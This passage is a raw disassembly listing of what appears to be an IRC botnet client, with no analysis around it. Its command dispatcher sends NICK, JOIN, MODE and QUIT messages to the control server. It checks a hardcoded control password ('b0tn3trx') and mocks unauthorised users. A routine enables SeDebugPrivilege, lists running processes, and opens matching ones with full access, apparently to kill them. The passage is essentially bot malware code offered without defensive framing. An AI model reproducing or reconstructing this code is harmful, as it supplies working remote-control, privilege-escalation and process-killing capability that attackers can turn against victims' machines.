		push	offset dword_43470C ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4147F9:				; CODE XREF: sub_40EE51+598Cj
		push	[ebp+arg_4]
		call	ds:dword_43C6B0	; closesocket
		call	ds:dword_43C578	; WSACleanup
		call	sub_40AC3D
		push	ebx
		call	ds:dword_42314C


loc_414814:				; CODE XREF: sub_40EE51+15E7j
					; sub_40EE51+15FCj
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]
		push	eax
		call	sub_40B8D3
		pop	ecx
		pop	ecx
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	offset dword_4346E4
		jmp	short loc_41486C
; ---------------------------------------------------------------------------


loc_41483F:				; CODE XREF: sub_40EE51+14ADj
					; sub_40EE51+14C2j
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	[ebp+arg_4]	; int
		push	[ebp+arg_1C]	; int
		push	eax		; Dest
		call	sub_40BB87
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		push	offset dword_4346BC


loc_41486C:				; CODE XREF: sub_40EE51+572Bj
					; sub_40EE51+59ECj
		call	sub_40BF6F
		jmp	loc_413066
; ---------------------------------------------------------------------------


loc_414876:				; CODE XREF: sub_40EE51+1483j
					; sub_40EE51+1498j
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40C00F
		jmp	loc_40F212
; ---------------------------------------------------------------------------


loc_41488F:				; CODE XREF: sub_40EE51+1459j
					; sub_40EE51+146Ej
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_4148CE
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4148CE
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4148CE
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_388]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_4148CE:				; CODE XREF: sub_40EE51+5A47j
					; sub_40EE51+5A52j ...
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_408]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		push	offset dword_434694 ; Format
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Dh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C081
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_41496E


loc_414958:				; CODE XREF: sub_40EE51+5B1Bj
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40F215
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_414958
; ---------------------------------------------------------------------------


loc_41496E:				; CODE XREF: sub_40EE51+5B05j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43464C
		jmp	loc_40F3FE
; ---------------------------------------------------------------------------


loc_41497F:				; CODE XREF: sub_40EE51+142Fj
					; sub_40EE51+1444j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40BEF7
		push	offset dword_434624
		call	sub_40BF6F
		jmp	loc_4144E9
; ---------------------------------------------------------------------------


loc_41499F:				; CODE XREF: sub_40EE51+1405j
					; sub_40EE51+141Aj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_4F0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jz	short loc_4149F9
		push	offset aSub	; "sub"
		push	esi		; Str1
		call	_strcmp
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_4149FF
; ---------------------------------------------------------------------------


loc_4149F9:				; CODE XREF: sub_40EE51+5B8Cj
		mov	[ebp+var_46C], ebx


loc_4149FF:				; CODE XREF: sub_40EE51+5BA6j
		lea	eax, [ebp+Dst]
		push	offset dword_4345F4 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	20h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_416DB3
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_414A69


loc_414A57:				; CODE XREF: sub_40EE51+5C16j
		cmp	[ebp+var_460], ebx
		jnz	short loc_414A84
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_414A57
; ---------------------------------------------------------------------------


loc_414A69:				; CODE XREF: sub_40EE51+5C04j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4345AC ; Format


loc_414A75:				; CODE XREF: sub_40EE51+489Ej
					; sub_40EE51+49B7j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_414A84:				; CODE XREF: sub_40EE51+452Cj
					; sub_40EE51+4544j ...
		lea	eax, [ebp+Dst]
		push	eax
		jmp	loc_410624
; ---------------------------------------------------------------------------


loc_414A90:				; CODE XREF: sub_40EE51+1389j
					; sub_40EE51+139Ej
		push	offset aBotid	; "botid"
		lea	eax, [ebp+Dst]
		push	offset dword_434584 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 20h
		jmp	loc_411106
; ---------------------------------------------------------------------------


loc_414AC7:				; CODE XREF: sub_40EE51+135Fj
					; sub_40EE51+1374j
		push	ds:dword_486C00
		call	sub_40B71C
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_434548 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 24h
		jmp	loc_411106
; ---------------------------------------------------------------------------


loc_414B05:				; CODE XREF: sub_40EE51+1335j
					; sub_40EE51+134Aj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414B37
		cmp	[ebp+var_C], ebx
		jz	short loc_414B46
		push	esi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_414B46
		push	eax		; Args
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		add	esp, 0Ch
		jmp	short loc_414B46
; ---------------------------------------------------------------------------


loc_414B37:				; CODE XREF: sub_40EE51+5CBDj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		pop	ecx
		pop	ecx


loc_414B46:				; CODE XREF: sub_40EE51+5CC2j
					; sub_40EE51+5CD1j ...
		push	0FFFFFFFEh
		jmp	loc_40F217
; ---------------------------------------------------------------------------


loc_414B4D:				; CODE XREF: sub_40EE51+130Bj
					; sub_40EE51+1320j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	offset dword_4344F8
		call	sub_40BF6F
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: sub_40EE51+12E1j
					; sub_40EE51+12F6j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	offset dword_4344B8
		call	sub_40BF6F
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_414B90:				; CODE XREF: sub_40EE51+12B7j
					; sub_40EE51+12CCj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_407102
		jmp	loc_412FCF
; ---------------------------------------------------------------------------


loc_414BA6:				; CODE XREF: sub_40EE51+1212j
					; sub_40EE51+1227j
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset dword_4344A8
		push	offset dword_43449C
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_414BBE:				; CODE XREF: sub_40EE51+11E8j
					; sub_40EE51:loc_41004Ej
		push	[ebp+esi+var_90]
		push	1Ch
		push	offset dword_434490
		push	offset dword_434480
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_414BD6:				; CODE XREF: sub_40EE51+1013j
					; sub_40EE51+1028j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_414BF5
		push	edi		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jz	short loc_414BF5
		push	edi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_414BFA
; ---------------------------------------------------------------------------


loc_414BF5:				; CODE XREF: sub_40EE51+5D8Ej
					; sub_40EE51+5D99j
		mov	eax, ds:dword_42E5A8


loc_414BFA:				; CODE XREF: sub_40EE51+5DA2j
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_478], eax
		cmp	esi, ebx
		jz	short loc_414C1F
		push	esi		; Format


loc_414C0C:				; CODE XREF: sub_40EE51+5DDDj
		lea	eax, [ebp+var_488]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_414C36
; ---------------------------------------------------------------------------


loc_414C1F:				; CODE XREF: sub_40EE51+5DB8j
		cmp	[ebp+var_9C7], bl
		jz	short loc_414C30
		lea	eax, [ebp+var_D8]
		push	eax
		jmp	short loc_414C0C
; ---------------------------------------------------------------------------


loc_414C30:				; CODE XREF: sub_40EE51+5DD4j
		mov	[ebp+var_488], bl


loc_414C36:				; CODE XREF: sub_40EE51+5DCCj
		mov	eax, [ebp+var_4]
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_46C], eax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_508]
		push	eax		; Dest
		mov	[ebp+var_50C], esi
		call	__snprintf
		add	esp, 0Ch
		push	[ebp+var_478]
		push	esi
		call	sub_40AEDB
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset unk_42A75C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	11h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 1Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_50C]
		push	ebx
		push	eax
		push	offset sub_407FD7
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_474]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_414CE7


loc_414CD1:				; CODE XREF: sub_40EE51+5E94j
		cmp	[ebp+var_464], ebx
		jnz	loc_40F215
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_414CD1
; ---------------------------------------------------------------------------


loc_414CE7:				; CODE XREF: sub_40EE51+5E7Ej
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434438
		jmp	loc_40F3FE
; ---------------------------------------------------------------------------


loc_414CF8:				; CODE XREF: sub_40EE51+FBFj
					; sub_40EE51+FD4j ...
		push	edi		; Str2
		push	offset aSecure	; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414D20
		push	edi		; Str2
		push	offset aSec	; "sec"
		call	_strcmp
		pop	ecx
		mov	[ebp+var_46C], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D2A


loc_414D20:				; CODE XREF: sub_40EE51+5EB6j
		mov	[ebp+var_46C], 1


loc_414D2A:				; CODE XREF: sub_40EE51+5ECDj
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_4F0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_46C], ebx
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_414D71
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_414D71:				; CODE XREF: sub_40EE51+5F19j
		push	eax
		push	offset dword_4343EC ; Format
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Ah		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 1Ch
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415F17
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_414DE1


loc_414DCF:				; CODE XREF: sub_40EE51+5F8Ej
		cmp	[ebp+var_460], ebx
		jnz	short loc_414DFC
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_414DCF
; ---------------------------------------------------------------------------


loc_414DE1:				; CODE XREF: sub_40EE51+5F7Cj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4343A0 ; Format


loc_414DED:				; CODE XREF: sub_40EE51+3DACj
					; sub_40EE51+4AB3j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_414DFC:				; CODE XREF: sub_40EE51+2ECEj
					; sub_40EE51+396Aj ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		jmp	loc_40F404
; ---------------------------------------------------------------------------


loc_414E0D:				; CODE XREF: sub_40EE51+F95j
					; sub_40EE51+FAAj
		push	offset aH4ckerTool ; "h4cker tool"
		push	offset dword_434380 ; Format


loc_414E17:				; CODE XREF: sub_40EE51+4853j
					; sub_40EE51+4B67j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf


loc_414E23:				; CODE XREF: sub_40EE51+56E3j
		add	esp, 0Ch
		jmp	loc_4110E5
; ---------------------------------------------------------------------------


loc_414E2B:				; CODE XREF: sub_40EE51+F6Bj
					; sub_40EE51+F80j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414E8B
		push	esi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		jl	short loc_414E80
		cmp	eax, 2
		jge	short loc_414E80
		mov	edx, [ebp+Str1]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_414E75
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_43770C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_414E75:				; CODE XREF: sub_40EE51+6003j
		push	eax
		push	offset dword_434344
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_414E80:				; CODE XREF: sub_40EE51+5FEEj
					; sub_40EE51+5FF3j
		push	eax
		push	offset dword_434308
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_414E8B:				; CODE XREF: sub_40EE51+5FE3j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_414E90:				; CODE XREF: sub_40EE51+605Bj
		push	[ebp+Str2]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EB3
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_414E90
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_414EB3:				; CODE XREF: sub_40EE51+604Fj
		mov	eax, [ebp+Str1]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_43770C
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_414ECD:				; CODE XREF: sub_40EE51+F41j
					; sub_40EE51+F56j
		push	[ebp+var_90]	; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F3C
		call	sub_416F11
		push	ebx
		call	ds:dword_42314C


loc_414EEF:				; CODE XREF: sub_40EE51+F17j
					; sub_40EE51+F2Cj
		push	[ebp+esi+var_90] ; Str1
		xor	eax, eax
		cmp	[ebp+var_9B8], bl
		setnz	al
		push	eax		; int
		lea	eax, [ebp+var_928]
		push	ds:dword_42E5C8	; int
		push	eax		; Dest
		call	sub_415CF0
		lea	eax, [ebp+var_928]
		push	eax		; Args
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		lea	eax, [ebp+var_928]
		push	eax		; Args
		push	offset dword_4342D4 ; Format
		call	sub_40BFE3


loc_414F39:				; CODE XREF: sub_40EE51+2C12j
		add	esp, 24h


loc_414F3C:				; CODE XREF: sub_40EE51+65Cj
					; sub_40EE51+668j ...
		mov	eax, [ebp+File]
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_414F44:				; CODE XREF: sub_40EE51+B19j
					; sub_40EE51+B2Cj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+Src], esi
		jz	loc_40F215
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F215
		push	offset asc_437788 ; "!"
		push	[ebp+Str2]	; Str
		call	_strtok
		mov	esi, eax
		push	offset byte_4397D4 ; Delim
		push	ebx		; Str
		inc	esi
		call	_strtok
		push	offset asc_4342D0 ; "~"
		push	eax		; Str
		call	_strtok
		push	[ebp+Src]	; Str2
		mov	edi, eax
		push	offset aB0tn3trx ; "b0tn3trx"
		call	_strcmp
		add	esp, 20h
		test	eax, eax
		jz	short loc_414FEC
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax		; Args
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		lea	eax, [ebp+var_D8]
		push	eax		; Args
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	edi
		push	esi
		push	offset dword_434248 ; Format


loc_414FD8:				; CODE XREF: sub_40EE51+61F7j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 30h
		jmp	loc_40F7F5
; ---------------------------------------------------------------------------


loc_414FEC:				; CODE XREF: sub_40EE51+614Ej
		mov	[ebp+File], offset off_42E6B4


loc_414FF3:				; CODE XREF: sub_40EE51+61BEj
		mov	eax, [ebp+File]
		push	edi
		push	dword ptr [eax]
		call	sub_4170A1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41504A
		add	[ebp+File], 4
		cmp	[ebp+File], offset off_42E6B8
		jl	short loc_414FF3
		lea	eax, [ebp+var_D8]
		push	edi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax		; Args
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		lea	eax, [ebp+var_D8]
		push	eax		; Args
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	edi
		push	esi
		push	offset dword_43420C
		jmp	short loc_414FD8
; ---------------------------------------------------------------------------


loc_41504A:				; CODE XREF: sub_40EE51+61B1j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_41504F:				; CODE XREF: sub_40EE51+6228j
		cmp	[ebp+Src], ebx
		jz	loc_40F215
		cmp	[edi], bl
		jnz	short loc_41506F
		push	[ebp+Src]	; Str2
		push	offset aB0tn3trx ; "b0tn3trx"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415080


loc_41506F:				; CODE XREF: sub_40EE51+6209j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41504F
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_415080:				; CODE XREF: sub_40EE51+621Cj
		shl	esi, 7
		add	esi, [ebp+Str1]
		lea	eax, [ebp+var_AA8]
		push	7Fh		; Count
		push	eax		; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4150B7
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset dword_4341DC ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4150B7:				; CODE XREF: sub_40EE51+624Aj
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4341AC
		jmp	loc_40F3FE
; ---------------------------------------------------------------------------


loc_4150C8:				; CODE XREF: sub_40EE51+20Ej
					; sub_40EE51+223j
		push	[ebp+Source]	; Args
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	offset aXi	; "+xi"
		push	[ebp+Source]	; Args
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_40D62A
		add	esp, 2Ch
		mov	ds:dword_486D80, edi
		jmp	loc_40F0EE
sub_40EE51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41510E	proc near		; CODE XREF: sub_409032+45p
					; sub_409032+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_42313C	; GetCurrentProcess
		push	eax
		call	ds:dword_43C5FC	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41512D
		leave
		retn
; ---------------------------------------------------------------------------


loc_41512D:				; CODE XREF: sub_41510E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_43C5D4	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41516B
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_415154
		or	[ebp+var_8], 2
		jmp	short loc_415158
; ---------------------------------------------------------------------------


loc_415154:				; CODE XREF: sub_41510E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_415158:				; CODE XREF: sub_41510E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43C684	; AdjustTokenPrivileges
		mov	esi, eax


loc_41516B:				; CODE XREF: sub_41510E+32j
		push	[ebp+var_4]
		call	ds:dword_423074
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41510E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415179(int,char *Str,int,char	*Str2,int,int)

sub_415179	proc near		; CODE XREF: sub_40EE51+4B54p
					; sub_41532A+74p

Dest		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
Str1		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str2		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_43C638, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_415323
		cmp	ds:dword_43C61C, ebx
		jz	loc_415323
		cmp	ds:dword_43C538, ebx
		jz	loc_415323
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41510E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_43C638	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_415316
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43C61C	; Process32First
		mov	esi, ds:dword_423074
		test	eax, eax
		jz	loc_415311


loc_41521C:				; CODE XREF: sub_415179+BEj
					; sub_415179+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43C538	; Process32Next
		test	eax, eax
		jz	loc_415311
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41521C
		cmp	[ebp+Str2], ebx
		jnz	loc_4152C9
		cmp	[ebp+Str], ebx
		jz	short loc_41521C
		push	[ebp+var_124]
		push	8
		call	ds:dword_43C638	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_415286
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_43C4E4	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_41528C
		lea	eax, [ebp+var_230]
		jmp	short loc_415292
; ---------------------------------------------------------------------------


loc_415286:				; CODE XREF: sub_415179+EBj
		push	[ebp+var_124]


loc_41528C:				; CODE XREF: sub_415179+103j
		lea	eax, [ebp+Str1]


loc_415292:				; CODE XREF: sub_415179+10Bj
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSD_0	; " %s (%d)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	1		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h
		push	edi
		call	esi
		jmp	loc_41521C
; ---------------------------------------------------------------------------


loc_4152C9:				; CODE XREF: sub_415179+C3j
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41521C
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	ds:dword_4230F8	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi
		push	ebx
		push	edi
		call	ds:dword_423110
		test	eax, eax
		jnz	short loc_41530C
		push	edi
		call	esi
		jmp	short loc_415323
; ---------------------------------------------------------------------------


loc_41530C:				; CODE XREF: sub_415179+18Cj
		push	1
		pop	eax
		jmp	short loc_415325
; ---------------------------------------------------------------------------


loc_415311:				; CODE XREF: sub_415179+9Dj
					; sub_415179+B5j
		push	[ebp+var_4]
		call	esi


loc_415316:				; CODE XREF: sub_415179+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41510E
		pop	ecx
		pop	ecx


loc_415323:				; CODE XREF: sub_415179+3Aj
					; sub_415179+46j ...
		xor	eax, eax


loc_415325:				; CODE XREF: sub_415179+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415179	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41532A	proc near		; DATA XREF: sub_40EE51+593Fo

Dest		= byte ptr -298h
var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43780C ; Format
		rep movsd
